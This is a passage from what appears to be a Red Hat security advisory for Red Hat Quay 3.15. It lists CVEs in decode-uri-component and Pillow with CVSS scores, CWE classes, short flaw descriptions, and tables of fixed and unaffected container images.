Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x	—	Vendor Fix fix Workaround

Known not affected 19 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64	—	Workaround

Threats

Impact Important

CVE-2026-45822

A flaw was found in the `decode-uri-component` library. This vulnerability allows a remote attacker to trigger a Denial of Service (DoS) by submitting specially crafted input. The `decode()` function, when processing a large number of encoded URI components, consumes excessive CPU resources, which can lead to the application becoming unresponsive and unavailable.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-1050 - Excessive Platform Resource Consumption within a Loop

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x	—	Vendor Fix fix Workaround

Known not affected 19 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64	—	Workaround

Threats

Impact Important

CVE-2026-54058

A flaw was found in Pillow prior to 12.3.0. When an uncompressed McIdas AREA image is loaded from a filename through the mmap raw codec path, attacker-controlled header words can set a row stride smaller than the natural row width. Pixel access such as Image.tobytes(), getpixel, convert, or save can then read beyond the mapped region, disclosing adjacent process memory or causing a fault.

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

CWE-125 - Out-of-bounds Read

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64	—	Vendor Fix fix
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le	—	Vendor Fix fix
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x	—	Vendor Fix fix

Known not affected 19 products

Product	Identifier	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64		—

Threats

Impact Important

CVE-2026-54060

A flaw was found in Pillow, a Python imaging library. When processing a specially crafted font file, the library's font compilation function does not adequately check for excessive memory allocation. This oversight allows a remote attacker to trigger an unreasonable consumption of system memory, leading to a denial of service (DoS) for the application.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-1050 - Excessive Platform Resource Consumption within a Loop

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64	—	Vendor Fix fix
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le	—	Vendor Fix fix
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x	—	Vendor Fix fix

Known not affected 19 products

Product	Identifier	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64		—

Threats

Impact Important

CVE-2026-55379

A flaw was found in Pillow, a Python imaging library. This vulnerability allows a remote attacker to cause a Denial of Service (DoS) by providing a specially crafted BDF font file. The library's image processing function fails to properly validate dimensions from the font file, bypassing a critical security check designed to prevent excessive memory usage. This oversight can lead to the system consuming an unreasonable amount of memory, making it unavailable to legitimate users.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-770 - Allocation of Resources Without Limits or Throttling

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x	—	Vendor Fix fix Workaround

Known not affected 19 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64	—	Workaround

Threats

Impact Important

CVE-2026-55380

A flaw was found in Pillow, a Python imaging library. A remote attacker could exploit this vulnerability by providing a specially crafted GD 2.x image file. The GdImageFile._open() function reads image dimensions without proper validation, leading to excessive memory allocation. This can result in a Denial of Service (DoS) due to C-heap exhaustion.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-1285 - Improper Validation of Specified Index, Position, or Offset in Input

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x	—	Vendor Fix fix Workaround

Known not affected 19 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64	—	Workaround

Threats

Impact Important

CVE-2026-59197

A flaw was found in Pillow prior to 12.3.0. The public RankFilter API can trigger a native heap out-of-bounds write when given a very large odd filter size. ImageFilter.RankFilter.filter() calls image.expand(size // 2, size // 2) before rank-filter size validation, and ImagingExpand() computes output dimensions with unchecked signed integer arithmetic. This can lead to denial of service and limited integrity impact via heap corruption.

8.2 (High)


                        
